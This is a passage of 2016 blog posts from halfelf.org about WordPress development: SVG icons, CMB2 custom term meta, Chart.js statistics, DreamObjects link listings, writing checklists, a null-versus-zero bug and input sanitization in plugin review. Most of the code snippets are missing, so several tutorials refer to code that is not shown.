The answer was because the SVGs have to be *rendered* on the HTML page. I was using `` tags on the HTML and `file_get_contents` on the PHP. The way the PHP code works, it pulls the file into content and dumps it out, not processing. Since the files are so small, and since the there’s no object rendering involved, the rendered PHP was faster than a static HTML. In this case.
## Can It Be Faster?
After I was done face-palming, I asked myself if it was possible to speed this up? Fixing this comes with understanding the cause. Once I determined that the issue was rendering the object and *not* the SVG itself, the solution unfurled before me.
Instead of using object tags, I could include SVGs like this:
The downside is that this looks uglier. The upside? This is hella fast and it’s *still* lighter weight than including a font icon, and I don’t have to upload images.
## SVGs or Font Icons?
This is a question for the ages. They can both be made accessibility friendly, they can both be optimized. Arguably, font icons are compatible with more browsers, but it’s also 2016 and if people are still on IE 8 (sorry banks), the Internet looks pretty shitty anyway. I can’t tell you which is better, and I find use for both in different situations. I love font icons a great deal, but just as I love WordPress, there’s a time and a place for them. And a time and a place for something else.
**Categories:** How It Works
**Tags:** design, development, font
---
### [Making More With Less Work](https://halfelf.org/2016/making-less-work/)
**Published:** April 27, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making my code do more work for me, with custom meta content and repetition. And repetition. And repetition.
**Content:**
The other day, I added [meta data of an icon to a custom taxonomy](https://halfelf.org/2016/custom-terms-cmb2/). When you need to add one or two filters to one or two items, it’s simple.
Replace `{my_taxonomy}` with your taxonomies, call it a day. But when you add in two, or three, or four, you don’t want to make four, or six, or eight lines of code. And when you’re calling the same array over and over, it’s time to get smart.
## Make An Array
I originally only want to do this custom work in one taxonomy, so it was no sweat to repeat a little code. But then I realized I wanted to see it in four. Maybe more. So I picked out my array:
I made this outside the two functions, because I knew I was going to need it in multiple places. It would necessitate me tossing `global $icon_taxonomies;` into every function that needed it, but that was okay. Better that then trying to make sure every time I updated an array, I did it in all the places. Once is better.
## Make Your Loop
The easiest thing was to trigger this on admit\_init. Grabbing my global, I ran a simple for-loop from that array and added a filter based on the taxonomy named stored in the array:
## Is It Really Less?
A clever person will count the lines in this code (10 when you add in the variable) and think “Mika, you wrote two extra lines!”
A more clever person will count the lines and think “At 5 taxonomies begins the break even point.”
I know. From the outset it looks like I’m taking more time to over-engineer the solution to a very simple problem. And while I am, I’m also making it easier not to make typos and not to forget a step. I can make one change, one word, and update multiple places becuase that array is *also* used back in the `my_register_taxonomy_metabox()` function.
I removed the array and tossed in the new code.
Yes, that’s adding two lines, but it removes my need to think “Where does this all go?” down to one place. And yes, I documented this in-line. The code header has a nice docblock explaining the whole section, what each variable is, and what each function does.
**Categories:** How To
**Tags:** coding, design, wordpress
---
### [Custom Terms and CMB2](https://halfelf.org/2016/custom-terms-cmb2/)
**Published:** April 25, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Let's say you have some custom taxonomies in WordPress. And let's say you want to add a special field to them for an icon. How would you do it?
**Content:**
Let’s say you have some custom taxonomies in WordPress. And let’s say you want to add a special field to them for an icon. How would you do it?
There’s a cool plugin by someone I know that can do this, called [WP SVG Icons](https://wordpress.org/plugins/svg-vector-icon-plugin/) and it works great. But it wasn’t quite what I needed.
You see, I had 832 really awesome SVG icons I wanted to use. In order to use Evan’s plugin I’d have to convert them into a font using Icomoon. I already had about 300 in a font, which is cool, but I was in the thought to move these from fonts to pure SVG anyway since they’ll show up in better detail if you don’t have retina screens. Also they’re smaller and loaded on demand and … well it is what it is.
I decided the simplest solution was as follows:
1. Upload all the SVG to the server
2. Add a custom term meta field to the taxonomies for ‘icon’
3. Show the icon on the Terms List Page
4. Show the icon on the Term Edit page
And yes, it works.
## Where Do The Icons Go?
I put them in my theme. They’re pretty specific to the theme itself, but usually things that are related to custom data ends up in `mu-plugins` since I want them to exist outside of the theme. For the record, I also have CMB2 outside the theme, so the code is all there, but the images are in the theme. You can decide how you want.
## Adding Custom Term Meta
There are a lot of ways of doing this, but as I’m using CMB2, well, I’m using CMB2 so it looks like this:
You’ll notice `before_field` there. That’s what will let me do the 4th item on my list. The description tells you how to use the field. Don’t worry, I do sanity checks later on.
## Show The Icon On The Terms List
I wanted the icon to show after save so that people would be able to know what they’d added and change it if needed.
You can see where I’m checking if the icon has been set *and* if the file exists. What this does is first generate a column for the icon and then populate the content based on the term information.

There you can see the icon, looking rather nice.
## See The Icon When You Edit
This is a little different. I had to check the output the of the field value, which is set by CMB2, and then base the rest of the code off that.
Again I double check the file actually exists, just in case you typo.

I put it before the field because that looked better to me, but there are other places this could go.
## Results?
I started this because, originally, it was all done with CSS. That meant if people added in new terms, someone with admin ability had to go in and edit things. This way, people can not only see what they’ve added, but you can get a quick view of what doesn’t have icons set. It’s instructive and has visual feedback.
The ‘next level up’ would be to only allow selection from a dropdown.
For the least amount of hustle, add this to your `my_register_taxonomy_metabox` function:
And then replace `'type' => 'text_medium',` with this:
And voila. Done. Now you’re even harder to get wrong.

It even looks good.
**Categories:** How To
**Tags:** coding, terms, wordpress
---
### [A Blog Thought On Documentation](https://halfelf.org/2016/blog-thought-documentation/)
**Published:** April 29, 2016
**Author:** Ipstenu (Mika Epstein)
**Content:**
Everyone, everyone, hates doing it. We all do.
But there’s something that blogging regularly has brought me that is specifically related to documentation. And it’s this.
I am more likely to write down exactly how I solved a problem if I think about it as a new blog post.
I know, that sounds so simply it’s stupid, but I’ve realized that the whole reason I’ve figured all these things out is that I want to have something to blog about, and I want the blog posts to be interesting, so I started writing down how I solved problems.
Of course, the joy of a problem is in the solving, so most of the time I’m talking about happy things. I do also blog about my failures, my missteps, and my totally-wrongs. Nothing wrong with being wrong. You learn a lot more from it, I feel.
## Start Without Code
When I start ‘figuring out’ a thing, I write it down without any code. I write down “I want to do X.” And then I start brain storming.
Take Monday’s post about term icons. “I want to assign an icon to a term.”
That’s how it started. Then I talked through my vague concepts:
- Show the icon on the back end
- No uploading icons
- Show the icon on the term edit and terms list page
- Make sure it can show on the front end
It’s really just the broad ideas. I’m not digging in deep.
## Pick Something Easy
When I start coding, I pick the thing I already know how to do the most of. In this case, it was showing the icon on the *front* end. That let me start in comfort. I uploaded the images to the development server ([VVV](https://github.com/Varying-Vagrant-Vagrants/VVV) in this case) and started messing around with showing the images on the front end.
I hardcoded in everything at first, using a default icon of ‘bacon’, and went about figuring out how I wanted it to display. I didn’t document this as much since it really was just about the look first. I knew when I got down to brass tacks, I’d be doing this:
All of that code, except the icon part, was already written. That’s why it was easy.
## Pick Something Obvious
Once I’ve done something easy and boosted my confidence, I start with the actual work. How do I set a term meta for a custom taxonomy?
I knew how to make custom meta boxes, but taxonomies were different. I quickly remembered all the work Boone did for WordPress 4.4 and read his post on the [Taxonomy Roundup](https://make.wordpress.org/core/2015/10/23/4-4-taxonomy-roundup/). That way I learned that, as I had assumed, `get_term_meta` was a thing.
Then I check to see if CMB2 knew how to use term meta, and happily found that it will work with term meta out of the box. No extra work. Thus the obvious became simple and I made a custom meta box for my term to put in a plain text field which was (originally) the path to my media file.
I used that process to start the blog post. That was the new thing, so I wrote up the answer, not the process, and explained how to do the thing.
## Write About the Tweaks
At that point, all that was left was busy work. I added in how to show the images on the back end, but then… then I did something extra. As I wrote the end of the post, I asked myself what the next logical step was? Well that would be not letting someone typo or put in names of images that didn’t exist. Instead of having to document all the images, I could just show a list.
And that’s what I did.
## Share It
This is actually universal.
If you just documented something, you either did it so you can repeat the process over and over, or so you could have someone else do your dirty work for a change.
If it’s personal, change ‘share it’ to ‘store it in an accessible place.’ Something in the cloud will do in a pinch. I often have my little things in a DropBox folder called “How Do I…” That’s because I usually ask “How do I edit all the images for …”
But if it’s not personal, if I know a group will have to do it again later, I document it and share it. It may go in the company internal knowledge base or maybe it’ll be on a GoogleDoc shared with the people who need to know. Maybe I’ve put it on this blog.
Either way, I documented. I released it.
Now it’s your turn.
**Categories:** How To
**Tags:** coding, documentation
---
### [Prettier DreamObjects Listing](https://halfelf.org/2016/prettier-dreamobjects-listing/)
**Published:** April 22, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making my DreamObjects image lists look prettier.
**Content:**
A long time ago, I wrote about how to [list your objects on DreamObjects](https://halfelf.org/2015/listing-everything-dreamobjects/). This code still works. I’m using it today, and as long as my bucket is public, it’s perfect.
It’s also kind of ugly and a hassle to get the link. I have to right-click every time, and really I just want to grab the link, paste it somewhere else, and go.
Thankfully it’s 2016 and there’s a library called [clipboard.js](https://zenorocha.github.io/clipboard.js/) that does this.
Before I did that, I decided how I wanted the layout to be. Two buttons, one for a link copy and one for a link to open in a new window.

Looks pretty basic, I know, but it’s better than that list.
Next I took my foreach loop and made it this:
This gave me the output and set me up for the script code at the bottom of the page:
Obviously `clipboard.min.js` is what you think it is, but the tooltips is so you can have that nice `showTooltip` popup so you know what you just did.
When you combine that with the work I did the other day for a droplet, all I have to do is keep that page up and handy to throw links at people.
You can see it at .
Before you ask, since not everything there is an image (‘Wrong’ is Dom Deluise shouting that), and since the images are all varying sizes, I went with not showing the image at all.
**Categories:** How To
**Tags:** coding, dreamobjects
---
### [DreamObjects Droplet](https://halfelf.org/2016/dreamobjects-droplet/)
**Published:** April 18, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Giving the world a nope-ta-pus!
**Content:**
I have DreamObjects, I have Transmit, and I have gifs I like to throw at people. I’d been using a tool called CloudUp, which is cool, but it had been broken for a while and was bothering me, so what I really wanted was a way to save my images to DreamObjects. It’s dogfooding, right?
## Add To Transmit
I like [Transmit](https://panic.com/transmit/). I have the desktop app and I’ve used it for years. They do it right. Early on they added S3 to their app, so adding DreamObjects to it is so simple it’s painless. We have cool[ directions on the DreamHost KB](https://help.dreamhost.com/hc/en-us/articles/215322248-How-to-Use-Transmit-with-DreamObjects) about how to do it.
## Make a Droplet
Once you’re connected, you need to make a droplet. I happen to have a bucket called `ipstenu-images` which I use for all my images. I know, it’s totally imaginative. Next I hit right-click and selected ‘Save Droplet For Folder’. It looks like this:

I chose to save mine in the ‘favorites’ folder, which I sync on Dropbox. I did choose to save the password information as well, which if you’re doing this on your own computer is relatively safe.
When it saved, it opened up a Finder window with my new Droplet, named “DreamObjects droplet.” I dragged that to my taskbar and tested it by dropping an image.
[](https://ipstenu-images.objects.dreamhost.com/nope.gif)
That’s my default test image.
## Set Permissions Properly
Except it didn’t work!

The permissions error was because the upload defaulted to only letting the owner see the image. Thankfully this is an easy preference setting in Transmit. Go into Preferences, then Rules, and at the bottom you have permissions. Click on the S3 tab and change “Read” from “Owner” to “World.”

Now anyone can go to and see a nope-ta-pus!
**Categories:** How To
**Tags:** dreamobjects, s3, transmit
---
### [On The Fly Checklists](https://halfelf.org/2016/fly-checklists/)
**Published:** April 15, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making your checklists fly.
**Content:**
When you do the same thing over and over, the best thing to do is automate it. We all know that.
However there are simply some things you cannot automate. As horrible as that is to say in today’s world, you cannot automate things like “Proofread content for errors.” Why? Well a computer only knows to look for what you tell it to look for. And if you habitually typo homophones, you’re in for a long day.
That’s why we have things like checklists. Do X, check Y, etc etc. They’re there to ensure when we run the automated steps, we do everything properly.
I spent the first half of April generating Pre-Flight Checklists for a lot of things. How to upgrade things at DreamHost, how to update things at WordPress.org, how to migrate from X to Y, and so on and so forth. The sad thing is that I’ve had to do all these for long standing processes which exist mostly in someone’s head.
Here are some tips to how I do it.
## Write Your Checklist As You Do It
If it’s a process you know, have a document open (or a piece of paper) and write as you go, enumerating every single step. Be pedantic.
> On Your Computer:
>
> 1. Generate list of X
> 1. Go to Y and click BUTTON
> 2. Copy list to DOC
> 3. Run TOOL to output new file
> 4. Add new file to repository
> 1. $ git commit -a FILENAME
> 2. $ git push
>
> On Remote Server:
>
> 1. SSH to 123.45.67.89 as your ID
> 2. Go to folder BAR
> 1. cd /home/blah/foo/bar
> 3. Dryrun sync command
> 1. sync bar baz –dry-run
You get the idea. Like I said, be specific and get every single thing you do. Don’t worry about getting everything perfect. This is about getting all the information.
## Walk Through Your Checklist
Once you have it up, walk through it and do everything (except the actual code push parts). This will show you how you can clean it up and what needs to be explained better. I find it helpful to ask myself “If I was new, would I know what ‘the remote server’ is?” If the answer is no (which it often is), I become more pedantic and specify what server to connect to and exactly how.
For example instead of “Connect to Servername” I’ll put in this:
> - Connect to production server
> - `ssh servername` — use your ID and password
Using the different font helps me to know it’s a command and not directions. Any time you feel something is vague, explain it. Put in examples of output. Don’t be afraid to break the ‘flow’ of a checklist to ensure clarity.
## Ask Someone Who Knows to Proof
If this is a process someone else has done, grab them and have them skim it for anything obviously wrong. Often I’m writing and refining a checklist for something I don’t actually do, but I watch regularly. With that mindset, I’m able to write from a place where I know enough to know what has to be clear to someone new. A place of no assumptions.
That person should question your claims. if you say “Check X” and they come back and ask you “Why are you doing X in step 15? You do the work in step 4. Why not do them together?” That’s a good thing! You want to be clear, but if there’s work that’s duplicated, you can save yourself and the future-you time. Also that person is going to be the one who says “We should explain *why* we do this…” They’re going to teach you more about the process.
## Ask Someone Who Doesn’t Know to Proof
This is harder. You need someone who knows ‘enough’ that you’re not explaining what SSH is, but doesn’t automatically make assumption. This may be why I end up on checklists a lot. I pestered the hell out of my coworker, Mike, and asked him to explain things in broad terms and then nitty gritty. I asked him to walk me through the steps, then I wrote them down and turned around to someone else and asked “Does this make sense?”
Why? Because Mike was too close to it to see the forest for the trees, which is a good thing! He knows it all! I was fairly close to it, enough to possibly get in over my head. By grabbing a total novice, we had the trifecta of brilliance. That third person asked “What is this?” and noted multiple things that might be wrong.
## Release and Iterate
You’re going to miss things, so every time you do the process, have the red pen ready.
**Categories:** How To
**Tags:** development, essay
---
### [Null and Zero](https://halfelf.org/2016/null-zero/)
**Published:** April 13, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** To a human, they're similar. To a computer, they're not.
**Content:**
This is an amusing anecdote.
When I was working on my [cross-check of shows and characters](https://halfelf.org/2016/combining-data-multiple-cpts/), I got everything working right except one thing. I noticed my count of ‘shows with death’ made a weird pie chart. You see, the number of shows was off by one compared to the total number of shows. I went back and forth, trying to figure out why it was doing that, and in the end I decided that I’d output the list and manually count to see what I was missing.
I counted, by hand, the shows that I got with the list of ‘all characters are dead’ and that number matched what the code output. Then I subtracted that from the number of ‘shows with any death’ to get the ‘some characters are dead’ count, and that too was okay. This meant that, for some reason, the list of shows where no one died was wrong. But it was subtraction! How could it be wrong!
Well as it turns out, I forgot that null and zero aren’t the same to a computer, but they tend to be to a human’s brain.
Now I *know* this! I know that zero is a number, it’s a value of the known quantity of zero. And I know that ‘null’ is a *non value*, meaning that it’s a data point that cannot yet be known.
You can’t math on null. And I knew this. Earlier in my code I’d written `$foo = 0` outside of my loop where I check and, as needed, increment it with `$foo++` specifically because you can’t add to null.
> Nothing from nothing, carry the nothing…
But. In my calculations, I checked the following:
1. If a show has been flagged with ‘death,’ count all the characters.
2. For each character, if they’re dead, add 1 to the death count.
3. If the number of characters is the same as the death count, add this show to the list of ‘kill ’em all.’
4. If the number of characters is greater than the number of dead, and the value of either isn’t 0, add the show to the list of ‘kill some.’
Then, separately, I checked “If the show has *not* been flagged with death, add the show to the ‘kill none’ list, because that’s a 1/0 check. And when you don’t think too deeply about that, it sounds fine, right? If they aren’t marked with death they must kill none. And if they don’t kill them all, and they don’t kill some, then the number should be the same as the ‘kill none’ list.
The problem was that I had one show, just one, where all the characters were alive but it had been flagged with death. This was not an error. The show *did* kill off a character, but I’d not added the dead character yet. Which meant it ran through the checks like this:
1. Flagged with death, we count all the characters (8).
2. If the character is dead, add one to death count (death count is 0).
3. If the number of characters (8) is the same as the dead (0), add to ‘kill them all’ (false).
4. If the number of characters (8) is more than the dead (0) (true), add the value of either isn’t 0 (false), add them to ‘kill some.’ (false).
Which isn’t wrong at all. It just meant that the show didn’t get listed on ‘kill none’ because it was flagged with dead, and it didn’t get listed on ‘kill them all’ because 8 is more than 0, *and* it didn’t get listed on ‘kill some’ because while 8 is more than 0, dead was 0.
Oh silly me. The value of death characters was ‘null.’ They simply didn’t exist in a place where they should have.
The fix? I added the dead character to the site and everything was fixed. But code wise, could I prevent this? I certainly should, since I know better than many that you can’t predict what users are going to do. So it begs the question of *why* was I checking if character count and dead count were not 0 to begin with? It was, originally, because my ‘no deaths’ list was screwed up and I threw that check in to omit cases where a show was flagged as death but didn’t have death.
The accuracy of these things depends entirely on your data. Garbage in, garbage out. The best fix would be to check ‘if a show has death and it has no dead characters, adjust the dead count down by one’ but also ‘if a show has no death, but it has dead characters, adjust the live show count down by one.’ I haven’t done that yet. I will soon.
**Categories:** How It Works
**Tags:** coding, development, wordpress
---
### [Combining Data from Multiple CPTs](https://halfelf.org/2016/combining-data-multiple-cpts/)
**Published:** April 11, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Bring out your dead! Sometimes you just need to track random things.
**Content:**
I wanted to get a list of all TV shows where 100% of the listed characters were dead.
> @Ipstenu … Did I just read that you’re using WordPress to compose a list of dead lesbians in media? I have to say, that’s kind of unique.
> — [Otto42](https://twitter.com/Otto42/status/716082891839504385)
Yes, yes I am. Television media, excluding reality TV.
The problem is I store the information in two [Custom Post Types](https://codex.wordpress.org/Post_Types) (shows and characters). And while both shows *and* characters have a way to track if there are dead, getting that list was frustratingly complicated.
We wanted, originally, a way to mark a show as having death *and* a separate way to track each dead character. Since they were separate CPTs, we made two custom taxonomies: dead-character and death. Logically then, I could use WP Query to get a list of all shows with the cliche taxonomy field of ‘death’ checked:
I know I could use a different way to get terms, but I don’t want to since I need to count these shows:
But I also need to continue processing. Once I have a list of shows with death, I need to get a list of all characters who are on the show. That data is stored as [Custom Meta Data](https://codex.wordpress.org/Custom_Fields) and those don’t have a quick and easy sort method. Worse, the shows are listed as an array.
Originally it was just a number representing the post ID for the show, and that was pretty easy to check. While we have posts in the dead show query, get a list of all characters with this ‘show ID’ which looks like this:
The problem is that compare line. Once you stop looking for “Does 123 == 123” you have to use ‘IN’ or ‘LIKE’ and, since this is an array of show IDs, we need `'compare' => 'LIKE'` for this check. That sounds simple, but there’s one more *small* problem. If the show ID is 1, then *every single show* with a 1 in it shows up. In addition, I actually wanted to get a list of all the shows where *some* characters died, so I couldn’t just check for characters with the meta\_query of the show and the tax\_query of death.
My first step in all this was to convert the shows to an array:
Now I can process everything as an array and check if the show ID is really in the array. If it is, we’re going to record that there is a character in a show with death.
Next we’re going to check if the character has the tag ‘dead-character’ (listed as a custom taxonomy for ‘show cliches’) or not *and* is in the show:
Once we have that data, I need two arrays. The first is for shows where the count of all characters on the show is the same as the ones who are dead. The second is for shows where *some* characters are dead:
The full code for that magical snippage looks like this:
And yes, it works just fine.
**Categories:** How To
**Tags:** coding, development, wordpress
---
### [Fauxgo and Rickroll](https://halfelf.org/2016/fauxgo-rickroll/)
**Published:** April 1, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Learning by humor.
**Content:**
April Fools is today. I hate April Fools ‘jokes’ as pretty much all of them are cruel.
Now that we have that out of the way, I’d like to tell you about two plugins I created that are pretty much useless but educational.
## Rickroll
Released in the WordPress.org plugin directory, this plugin changes all your videos to the official Rickroll video. All. Your. Videos. The point it was made for is that you really can run a filter to do some pretty impressive things with videos. Including replace them. You can take the logic of this plugin and apply it by filtering (say) all videos embedded in comments made by a specific person. That would really mess with them. Or you could possibly call YouTube’s api, check the rating of the video, and if it’s over a certain amount, show a default instead.
Download: [WordPress.org – Rickroll](https://wordpress.org/plugins/rickroll/)
## Fauxgo
This plugin replaces the WordPress logo with a Fauxgo. Why? Someone complained to me that you couldn’t rebrand WordPress entirely. So I did. The thing about this plugin was that it was deucedly complicated to make work right. Most of the trouble was the CSS is ‘weird.’ But once you have it installed, everything looks different ‘ish’ and suddenly you’re not sure what the logo is anymore.
I plan to edit this and write it as using an SVG icon instead of the icon font.
Download: [Github – Fauxgo](http://github.com/ipstenu/fauxgo)
**Categories:** How To
**Tags:** plugins, wordpress
---
### [Obviously Oblivious](https://halfelf.org/2016/obviously-oblivious/)
**Published:** April 6, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Obvious plugins are the best plugins.
**Content:**
So I was asked this…
> @binarygary: .@Ipstenu I know you aren’t the patent office…but have you ever declined a plugin for “obviousness”?
I replied, not in jest, that I had declined some for ob*li*viousness.
Gary’s plugin was obvious in that it did exactly what it was purported to do, and it did it well. And it had a puny name. I quite liked it and approved it pretty quickly. But the crux of the question is interesting. Have I ever rejected plugins for being too obvious?
Not that I can remember. In fact, I kind of love the plugins that do exact what they claim to do. Like [Rickroll](https://wordpress.org/plugins/rickroll/) which turns your videos into Rickroll or [Logout Roulette](https://wordpress.org/plugins/logout-roulette/) which gives you a one in ten chance of being logged out. Those are simple and obvious and a little stupid, but they’re perfectly obvious and only the oblivious would be confused.
An obvious plugin is possibly the best kind of plugin. My buddy Otto once remarked that well named functions don’t *need* documentation. If you have a function named `reset_the_loop` it’s pretty obvious what it does. Now you might need to add some docblox to explain how to use it and what parameters you can pass through to it, but in and of itself, it resets the loop!
On the flip side, here’s `rts_reset` which is actually a function I saw recently in a plugin. Okay, what does that do? It was in a class named `RTSCode` which didn’t help at all. And there was no inline documentation. After a while, I traced everything back and sorted out what the heck the code was doing (it was reseting a query, but only if you passed specific params back).
In general, a WordPress theme and plugin should be painfully obvious. It’s open source, it’s code anyone can look at, and yes, it should be stupid easy to understand what it does and why. That’s the meaning behind ‘open’ in so many ways. Open for everyone. Open to be forked and learned from and studied and made more perfect. Or at least more fun.
I like obvious things. Obvious is good.
**Categories:** How It Is
**Tags:** essay
---
### [Migrating from CMB to CMB2](https://halfelf.org/2016/migrating-cmb-cmb2/)
**Published:** March 30, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Moving some inherited code from CMB to CMB2 is pretty simple.
**Content:**
I didn’t plan to, the first time. I’d inherited a site that I offered to help someone clean up and they had [CMB2](https://github.com/WebDevStudios/CMB2). They didn’t actually. They had CMB, the original. This was a while ago. Looking at their site, I realized they had one (yes, one) custom meta box, so I removed CMB and coded in that one meta box and called it a day.
Flash forward a while. A long while. I have a site that was mostly built out by someone else, and it worked great except on mobile. After trying to update content on the site on my iPad and getting frustrated to the point of angor, I re-did the theme as Metro Pro (yes, it’s that site), and folded in a lot of the meta boxes into mu-plugins, so we could keep them no matter what the theme.
But again, she’d used CMB. Not CMB2. And since I know CMB2 has a lot more features, I decided to upgrade. Three hours later, I had it done and had it done rather nicely.
## Decide how to install CMB2
I did it as an `mu-plugin` – Look. It’s a library. I have my font library (aaah!) in there as well. This is how I organize things. I don’t want people disabling it on accident, so by having it in my Must Use folder, only people with SSH or Git access can screw with it. This is a protection thing.
I tossed the `cmb2` folder in there and whipped up a fast `cmb2.php` bootstrap file:
You’ll notice that’s more than just bootstrapping. This is the other reason I wanted it as an MU plugin. The first part with the `require_once` is the call for CMB2. I could simplify it since the folder is lowercase, but it’s fine as is. The second part with `function cmb2_get_post_options` is so that I can use the names of all my posts as options in a dropdown. I didn’t invent this code, it’s from [the CMB2 documentation](https://github.com/WebDevStudios/CMB2/wiki/Adding-your-own-field-types#example-2-posts-or-other-post_type-dropdown-store-post_id). The last bit of `function cmb2_site_scripts` is just to make sure my custom CSS gets loaded on the right pages (I wanted to change the layout of some things).
## Convert the Calls
This was the weird part. I’d never really used CMB before. CMB2, through various things including reviews, I’m pretty familiar with the general aspects of it, though not all the specific calls. From CMB to CMB2, the major change was that instead of multiple nested arrays with a return, the code was wrapped in a function that had an array, but then it had callbacks.
This:
became this:
You can totally see how one transmuted into the other, right?
The biggest change is the `'fields' => array( ... )` section, which is totally missing from the new version. Remaking the fields was trickier since some changed a great deal. And some changed in fantastic ways.
Here’s the original actor name field:
And here is the new one:
I’ve added in two things. First is the desc (description), which was needed because I was adding in the repeatable field! Sometimes actors are replaced, and with that in mind we’d been using ‘Foo (2013), Bar (2014-2015)’ and so on. But now with repeatable fields we could easily add in a new line for every actor. Problem solved!
## Why not hand code?
Because the Fields API is a sack of wet, smelly, rotting, hair. It’s actually worse than the Settings API. I can’t wait for the [Fields API plugin](https://github.com/sc0ttkclark/wordpress-fields-api) to hit release candidate and have a UI built in. Until then, hand coding more than one meta box is a headache. Making three groups with three to eight fields in each with cross dependencies? A nightmare.
Simply put, CMB2 does it well, obviously, and simply. The code is easy to understand and implement. I wish it was in core. It’s around 3 megs, but 2 of them are from translations, so it’s really not as horrible as all that.
**Categories:** How To
**Tags:** coding, wordpress
---
### [Because Developers Never Typo](https://halfelf.org/2016/developers-never-typo/)
**Published:** April 8, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Never trust input.
**Content:**
> It’s not a problem. Only admins can use this.
I’d pushed back on a plugin that wasn’t validating their post input wisely. Instead they just slapped `sanitize_text_field()` around everything and called it a day.
One of the myriad reasons I’ll push back on a plugin is improper sanitization. When I say that, I mean they need to sanitize, validate, and escape the input. If I see things like `update_option('my_cool_options', $_POST['my_cool_input']);` I’ll push back and tell them to please sanitize. But really I tell them this:
> SANITIZE: All instances where generated content is inserted into the database, or into a file, or being otherwise processed by WordPress, the data MUST be properly sanitized for security. By sanitizing your POST data when used to make action calls or URL redirects, you will lessen the possibility of XSS vulnerabilities. You should never have a raw data inserted into the database, even by a update function, and even with a prepare() call.
>
> VALIDATE: In addition to sanitization, you should validate all your calls. If a $\_POST call should only be a number, ensure it’s an int() before you pass it through anything. Even if you’re sanitizing or using WordPress functions to ensure things are safe, we ask you please validate for sanity’s sake. Any time you are adding data to the database, it should be the right data.
>
> ESCAPE: Similarly, when you’re outputting data, make sure to escape it properly, so it can’t hijack admin screens. There are many esc\_\*() functions you can use to make sure you don’t show people the wrong data.
I say it often. Sanitize everything (but especially what you save or process), validate input, escape output.
I understand though, why someone might naively assume that since only admins can do a thing, it’s ‘safer.’ The truth is admins screw up as much as anyone else. Worse, probably, since admins have more power and often think they know better.
But the point I was trying to make to this guy was that it doesn’t matter *who* is inputting the data.
I’ve told this story before. I used to have a job testing software packages for software I didn’t use. We replied on ‘scripts’ from people to know what to test. One day, John C and I were trying to test some new software and every time we hit a certain screen, we’d crash the box. We tried over and over and it failed. So John called the vendor and explained what we were doing. They walked us through it and it crashed. Since we were a VIP, they said they’d send over a couple developers. When the two guys showed up, one watched us very carefully and was shocked.
The young dev exclaimed, “Why would you ever input wrong data there?!”
I eyeballed him. “Why would putting in wrong data *crash* the computer?”
The older dev chuckled. “We’ll put in an error check there.”
The lesson I learned is simple. Never trust input.
**Categories:** How It Is
**Tags:** coding, development, essay
---
### [More Chart.js Fun](https://halfelf.org/2016/chart-js-fun/)
**Published:** April 4, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making more beautiful charts is fun.
**Content:**
The [statistics page](http://lezwatchtv.com/stats/) on my TV database site is pretty fun. It’s the one I learned how to use [Chart.js](https://halfelf.org/2016/chart-js-category-statistics/) for in the first place.
I wanted to add in some pie charts, but first I upgraded the code to the 2.0-beta and refined the PHP on my stats. Originally I just had some pretty basic bar charts for category statistics. Now I have some pie charts to show characters by role (by which I mean are they a main character, a guest, or a recurring character).
## Better Category Stats
Let’s talk about some better PHP first. The stuff I had before worked, but it could have been better. Here’s the better PHP:
What I did here was take the data and make a single array for it which gives me the data structured as follows:
```
Array
(
[addict] => Array
(
[count] => 2
[name] => Addict
[url] => http://example.com/tropes/addict/
)
[athlete] => Array
(
[count] => 3
[name] => Athlete
[url] => http://example.com/tropes/athlete/
)
)
```
This makes my array much smaller and simpler to run through. Next I changed how I call the data in my javascript:
The unsetting at the top is a quick run to remove the tropes I don’t need for this chart because I’m displaying them in the pie chart. See? It all comes together!
## Pie No. 1 – Sexuality
There are two pie charts. One is checking how many characters are gay, straight, or bisexual. I’m sure eventually I’ll be add asexual, but that isn’t today. Anyway, that chart is surprisingly simple. Since I’d already improved the PHP call for category stats, and sexuality is saved as a character taxonomy, I was able to do this simply as follows:
The default assumption is that any character being added is a homosexual. The reason ‘straight’ is there is for a character who was presented as gay, but that turned out to be a fantasy sequence. Thanks, Roseanne. With that in mind, calculating the number of gay characters was a matter of subtracting the straight and bisexual. And yes, I named the chart pieSexdata on purpose.
## Pie No. 2 – Character Role
The second pie chart was a lot harder. You see, I’d chosen to save the ‘role’ as a custom meta field in the post. There’s a dropdown for ‘Main’ or ‘Recurring’ or ‘Guest’ and it defaults to ‘None’ if you don’t fill it out. Right now everyone has a role but I coded in a failsafe.
This code took me a while to sort out, but as soon as I realized how simple it was, I made a loop so I didn’t have to repeat code:
This produces a nice array:
```
Array
(
[regular] => 147
[recurring] => 37
[guest] => 23
)
```
I wanted it to be an array since I can see this expanding sooner or later. The pie chart code looks very much the same as the one for sexuality, and all that’s really different is how I’m calling the data and doing the math for how many characters have no listed role.
## What’s Next?
Things are shaping up nicely, but I want to add in better labels. I’d like if they show the percentage when you hover over them on pie charts, and if they could link to the taxonomy pages for the bar charts. But I haven’t quite sorted out how to do that yet.
I also have to blame Tracy for this, because she’s the one who wanted stats like that in the first place.
**Categories:** How To
**Tags:** coding, wordpress
---
### [Dependency Disaster](https://halfelf.org/2016/dependency-disaster/)
**Published:** March 28, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The circle of hell of dependencies is one we may never climb out of.
**Content:**
Over the last few weeks and months, the nightmare that is WordPress plugin dependency hell has waxed and waned with the ire of a thousand burning suns. It flared up when I, perhaps naively, posted a reminder of a rarely called upon guideline to not submit Frameworks for hosting on WordPress’s official plugin repository.
This brought up the perfectly valid arguments that these repositories are useful as they allow for deployment and updates that were hitherto unavailable when rolled up into one package. And at its heart, I understand their point and agree with them as to the benefits. But since WordPress core doesn’t have true plugin dependencies at this time, it’s exceptionally complicated and a hassle to include them.
